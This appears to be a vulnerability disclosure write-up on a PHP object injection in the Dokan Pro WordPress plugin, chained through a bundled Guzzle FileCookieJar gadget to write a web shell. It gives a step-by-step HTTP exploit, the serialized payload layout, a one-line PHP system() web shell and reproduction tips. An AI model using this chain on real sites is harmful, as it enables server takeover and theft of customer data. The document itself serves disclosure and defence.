← Research ledger
HighCVE-2026-65493CVSS 7.5POI → RCEWordPress· 10 min read

The cookie jar that writes shells: object injection in Dokan Pro

A "paste your export here" textarea in Dokan Pro's Product Add-on module feeds vendor input straight into unserialize() — no allowed_classes, no questions asked. The plugin itself ships the POP gadget that turns it into an arbitrary file write. All it takes is a seller account, and in Dokan a seller account takes thirty seconds.

By ExPatch Vulnerability Research·Coordinated disclosure via Patchstack
Scope

Verified end-to-end in our lab: Dokan Pro 5.0.2 on WordPress 7.0 / WooCommerce 10.8.1 (Docker). Affected: Dokan Pro ≤ 5.0.2 with the Product Add-on module active. Reported to the vendor through Patchstack under coordinated disclosure.

Summary

Dokan turns a WordPress site into a multi-vendor marketplace, and vendors manage their product add-ons through a dashboard form with an "import" textarea. That textarea is deserialized twice — maybe_unserialize(maybe_unserialize(...)) — with no class restriction. A serialized object is instantiated on the spot and destructed at the end of the request. Dokan Pro bundles a namespace-prefixed Guzzle whose FileCookieJar destructor writes attacker-controlled content to an attacker-controlled path. Seller-controlled input → object instantiation → file write → web shell. The full chain was executed over HTTP against a live stand.

Thirty seconds to a seller account

On paper this is an "authenticated" bug. In practice the authentication is self-service. Dokan's public registration form offers the seller role by default, the role is granted immediately on submit, and the default onboarding mode (new_seller_enable_selling = 'automatically') activates the seller without any admin approval:

// dokan-lite — public registration, defaults:
$allowed_roles = ['customer', 'seller'];   // Registration.php:44
$user->add_role('seller');                    // functions.php:4302 — instant
$user->make_active();  // :4322 — default 'automatically', no admin approval

An attacker registers, lands on a live vendor dashboard, and holds every token the dashboard hands out. The only precondition an administrator controls is switching seller onboarding to manual approval — then the account must be approved first. Everything else in this write-up is default behavior.

The sink: double unserialize, no allowed_classes

The add-on settings form carries a free-text import_product_addon textarea — "paste exported form data here to import fields". The handler passes the whole $_POST into dokan_pa_get_posted_product_addons(), where the import blob is unwrapped:

// modules/product-addon/includes/functions.php — the import path
if ( ! empty($postdata['import_product_addon']) ) {
    $import_addons = maybe_unserialize(maybe_unserialize(stripslashes(trim(
        $postdata['import_product_addon']))));   // :124 — no allowed_classes
    if (is_array($import_addons) && count($import_addons) > 0) { ... }
}

WordPress's maybe_unserialize() calls @unserialize() whenever the payload looks serialized — and is_serialized() happily accepts the O: object token. Since no ['allowed_classes' => false] is passed, a posted object is instantiated. Note the ordering: the object is created at line 124, before the is_array() guard can reject anything — the guard saves the import logic, not the process. When the function returns, $import_addons leaves scope and the object's __destruct() fires. That is the entire vulnerability: classic PHP Object Injection (CWE-502), and the sink takes a top-level object, so no length-desync tricks are even needed.

The only gate on the way in is a nonce:

// class-frontend.php — the trigger
add_action('template_redirect', [$this, 'handle_addon_formdata'], 10);
// ...on the vendor dashboard add-on page:
if (wp_verify_nonce(wp_unslash($_POST['dokan_pa_save_addons_nonce']),
    'dokan_pa_save_addons')) {
    $edit_id = $this->save_global_addons();  // → dokan_pa_get_posted_product_addons($_POST)
}

That nonce is rendered on the very same vendor dashboard page — it is a CSRF token, not an authorization boundary. Any logged-in seller already has it.

The gadget: a cookie jar that writes files

A POI is only as good as the gadgets in scope, and Dokan Pro ships one. Its bundled, namespace-prefixed Guzzle keeps the well-known FileCookieJar file-write chain (PHPGGC Guzzle/FW1) fully intact:

// dependencies/.../GuzzleHttp/Cookie/FileCookieJar.php (prefixed FQCN)
class FileCookieJar extends CookieJar {
    private $filename;                       // attacker-controlled
    public function __destruct() { $this->save($this->filename); }
    public function save(string $filename): void {
        // collect cookies → jsonEncode...
        file_put_contents($filename, $jsonStr, LOCK_EX);   // :68 — the WRITE
    }
}

Each cookie's Value lands in the JSON verbatim, so a cookie carrying <?php system($_GET[0]); ?> is written to disk as-is. The usual alternative gadget (FnStream) is neutered by a __wakeup() that throws — FileCookieJar has no such guard. The serialized payload, in essence:

serialize(FileCookieJar{
  filename: "/var/www/html/wp-content/uploads/shell.php",
  storeSessionCookies: true,
  cookies: [SetCookie{ data: {
    Name: "a",
    Value: "<?php system($_GET[0]); ?>",
    Expires: 9999999999, Discard: false
  }}]
})

Two craft details that matter when reproducing: single-quoted PHP only in the cookie value (double quotes get JSON-escaped and break the parser), and a far-future Expires so shouldPersist() lets the cookie through.

Exploitation over HTTP

Step one — register as a seller (the default marketplace flow, self-asserted fields):

POST /my-account/ HTTP/1.1
Host: market.example
Content-Type: application/x-www-form-urlencoded

role=seller&username=research&email=r@example.com&shopname=lab&...

Step two — open the vendor dashboard add-on page and take the nonce from the HTML:

GET /dashboard/settings/product-addon/ HTTP/1.1
Host: market.example
Cookie: wordpress_logged_in_…=seller session

// → input name="dokan_pa_save_addons_nonce" value="…" — a CSRF token,
//   not an authorization boundary

Step three — fire the object injection:

POST /dashboard/settings/product-addon/ HTTP/1.1
Host: market.example
Cookie: wordpress_logged_in_…=seller session
Content-Type: application/x-www-form-urlencoded

save_addon=1
&dokan_pa_save_addons_nonce=<nonce>
&import_product_addon=O:60:"WeDevs\DokanPro\Dependencies\GuzzleHttp\
Cookie\FileCookieJar":3:{…filename…storeSessionCookies…cookies…}

The response is an ordinary form redirect — the destructor fires as the request unwinds. Step four, request the drop:

GET /wp-content/uploads/shell.php?0=id HTTP/1.1
Host: market.example
POI-RCE-CONFIRMED:Linux ccba0110b76d 6.6.114.1-microsoft-standard-WSL2 …
uid=33(www-data) gid=33(www-data) groups=33(www-data)

File write, PHP execution, and HTTP access were each confirmed independently on the lab stand (2026-06-01), including the full NUL-byte round-trip of the 829-byte payload through WordPress's slash handling.

Why it matters

  • Self-service authentication. On a default Dokan marketplace the only prerequisite — a seller account — is obtained through a public form in under a minute, with no admin touch. For practical purposes this is pre-auth RCE on the default configuration.
  • The gadget is bundled. No other plugin is needed for the chain: the file-write primitive ships inside Dokan Pro itself.
  • Marketplace blast radius. Code execution as the web user means every vendor's catalog, every customer's PII, order and payment records, and wp-config secrets on one host.
Honest scoping

Two preconditions keep this honest: the Product Add-on module must be active (a paid-tier module, not on by default), and the reached code path expects the companion WooCommerce Product Add-ons plugin present. If seller onboarding is set to manual approval, the attacker's account must be approved before the dashboard nonce is reachable. None of these are defaults — but they are configuration, and we report them as such.

Disclosure timeline

  • 2026-06-01 — full chain verified on a clean Docker stand: object instantiation, file write, PHP execution over HTTP.
  • 2026-06 — report with reproduction submitted to the vendor via Patchstack (weDevs).
  • 2026-08 — identifier CVE-2026-65493 assigned (CVSS 7.5, High).
  • 2026-08-13 — public write-up (this page).

References

  • Dokan Pro 5.0.2 — modules/product-addon/includes/functions.php, class-frontend.php, bundled dependencies/GuzzleHttp/Cookie/FileCookieJar.php.
  • PHPGGC — Guzzle/FW1 gadget chain; WordPress maybe_unserialize() / is_serialized() behavior.
  • CWE-502 (Deserialization of Untrusted Data), CWE-913 (Improper Control of Dynamically-Managed Code Resources).